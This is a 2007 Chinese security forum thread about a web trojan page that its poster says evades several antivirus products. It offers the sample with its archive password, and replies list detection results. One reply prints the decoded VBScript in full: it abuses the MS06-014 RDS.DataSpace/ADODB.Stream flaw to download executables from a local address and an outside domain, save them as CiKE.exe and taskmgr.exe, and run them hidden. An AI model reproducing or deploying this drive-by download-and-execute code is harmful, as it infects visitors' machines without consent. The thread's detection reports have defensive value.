过N款杀软的网马！你的杀软顶得住吗？

abin5288

已过诺顿，大蜘蛛！！！
忘记留解压密码了，不好意思，解压密码是mcafee

[ 本帖最后由 abin5288 于 2007-8-30 08:54 编辑 ]

zxc3949

密码是好多啊？

yashoo

木马作者太蠢了，卡巴都没有免杀

已删除: 木马程序 Trojan-Downloader.VBS.Psyme.cr 文件: E:\test\ms06-014_code\ms06-014_code.htm

saga3721

Virus or unwanted program 'TR/Dldr.Psyme.CR.3 [TR/Dldr.Psyme.CR.3]'

红心王子

a-squared	3.0.0.123	2007.08.29	2007-08-29	-	5.218
Arcavir	1.0.4	200708291740	2007-08-29	-	1.145
AVAST	1.0.8	000769-2	2007-08-29	HTML:Ascii-F [Expl]	3.047
AVG	7.5.48.442	269.12.10/976	2007-08-27	-	1.451
BitDefender	7.60825.815107	7.14554	2007-08-30	Exploit.ADODB.Stream.EP	2.978
CA (VET)	8.4.0.24	31.1.5095	2007-08-30	-	0.849
ClamAV	0.91.1	4107	2007-08-30	Trojan.Downloader.VBS.Psyme-31	0.010
ewido	4.0.0.2	2007.08.29	2007-08-29	-	2.059
F-SECURE	5.51.6100	2007.08.29.08	2007-08-29	Trojan-Downloader.VBS.Psyme.cr	3.861
IKARUS	T3.1.1.12	2007.08.29.69416	2007-08-29	Exploit.JS.ADODB.Stream	1.300
MKS_VIR	2.01	2007.08.27	2007-08-27	-	1.793
NOD32	2.70.8	2491	2007-08-30	VBS/TrojanDownloader.Psyme.FD trojan	0.006
nProtect	2007-08-28.00	37774	2007-08-28	Exploit.ADODB.Stream.EP	6.998
QuickHeal	9.00	2007.08.28	2007-08-28	-	2.200
SOPHOS	2.49.1	4.21	2007-08-30	Mal/Psyme-B	2.255
VBA32	3.12.2.3	20070828.0758	2007-08-28	-	0.895
VirusBuster	4.3.19:9	9.099.10/11.0	2007-08-30	JS.Psyme.DE	0.943
冰岛杀毒	3.16.16	2007.08.29	2007-08-29	-	0.409
卡巴斯基	5.5.10	2007.08.30	2007-08-30	Trojan-Downloader.VBS.Psyme.cr	0.729
大蜘蛛	4.33	2007.08.30	2007-08-30	VBS.Psyme.239	4.813
小红伞	7.4.1.66	6.39.1.61	2007-08-29	TR/Dldr.Psyme.CR.3	2.280
江民杀毒	10.00.650	2007.08.28	2007-08-28	-	0.774
熊猫卫士	9.04.03.0001	2007.08.28	2007-08-28	-	3.039
瑞星	19.0	19.38.22.00	2007-08-29	Trojan.DL.VBS.Agent.cgk	1.013
诺曼	5.91.04	5.90	2007-08-29	VBS/Psyme.AE	2.718
赛门铁克	1.3.0.24	20070829.009	2007-08-29	-	0.255
趋势	8.500-1001	4.677.00	2007-08-28	VBS_PSYME.GEN	0.041
迈克菲	5.1.00	5108	2007-08-29	VBS/Psyme	0.643
金山毒霸	2007.6.20.249	2007.8.30	2007-08-30	-	0.863

孤独更可靠

Trojan.DL.VBS.Agent.cgk




第一个是明文``

下载setup.exe

第二个是US-ASCII

解后还有acsii加密

解后得:

"60script language="VBScript">    on error resume next
    Set adaWSAsjii__HSA = document.createElement("object")
    adaWSAsjii__HSA.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    Set adagoogA = adaWSAsjii__HSA.CreateObject("Microsoft.XMLHTTP","")
    caogoogA1="Ado"
    caogoogA2="db."
    caogoogA3="Str"
    caogoogA4="eam"
    CnisjIoa__WA=caogoogA1&caogoogA2&caogoogA3&caogoogA4
    Cnisjii__WA=CnisjIoa__WA
    Set opaipPada = adaWSAsjii__HSA.CreateObject(Cnisjii__WA,"")
    opaipPada.type = 1
    adagoogA.Open"GET","http://192.168.0.3/setup.exe",False
    adagoogA.Send
    Set fso = adaWSAsjii__HSA.CreateObject("Scripting.FileSystemObject","")
    Set temp = fso.GetSpecialFolder(2)
    filename=fso.BuildPath(temp,"CiKE.exe")
    opaipPada.open
    opaipPada.write adagoogA.responseBody
    opaipPada.savetofile filename,2
    opaipPada.close
    Set exc = adaWSAsjii__HSA.CreateObject("Shell.Application","")
    exc.ShellExecute filename,"","","open",0
    </script>
<script language="VBScript">    on error resume next
    Set adaWSAsjii__HSA = document.createElement("object")
    adaWSAsjii__HSA.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    Set adagoogA = adaWSAsjii__HSA.CreateObject("Microsoft.XMLHTTP","")
    caogoogA1="Ado"
    caogoogA2="db."
    caogoogA3="Str"
    caogoogA4="eam"
    CnisjIoa__WA=caogoogA1&caogoogA2&caogoogA3&caogoogA4
    Cnisjii__WA=CnisjIoa__WA
    Set opaipPada = adaWSAsjii__HSA.CreateObject(Cnisjii__WA,"")
    opaipPada.type = 1
    adagoogA.Open"GET","http://www.es86.com/pic/ddb/2006692151148920.gif",False
    adagoogA.Send
    Set fso = adaWSAsjii__HSA.CreateObject("Scripting.FileSystemObject","")
    Set temp = fso.GetSpecialFolder(2)
    filename=fso.BuildPath(temp,"taskmgr.exe")
    opaipPada.open
    opaipPada.write adagoogA.responseBody
    opaipPada.savetofile filename,2
    opaipPada.close
    Set exc = adaWSAsjii__HSA.CreateObject("Shell.Application","")
    exc.ShellExecute filename,"","","open",0
    </script>
<script type="text/jscript">
function init() {
document.write("f13E93?941?0?061?9?1?2?0]87        97?3");
}
window.onload = init;
</script>"

某某杀软报Trojan.DL.VBS.Agent.cgk

tracydk

HTM....

tracydk

红伞杀一个

woai_jolin

2007-8-30 9:16:50        Real-time file system protection        file        F:\v\ms06-014_code.htm        VBS/TrojanDownloader.Psyme.FD trojan        cleaned by deleting - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: C:\PROGRA~1\WINZIP\winzip32.exe.

ssy275

FS 报啊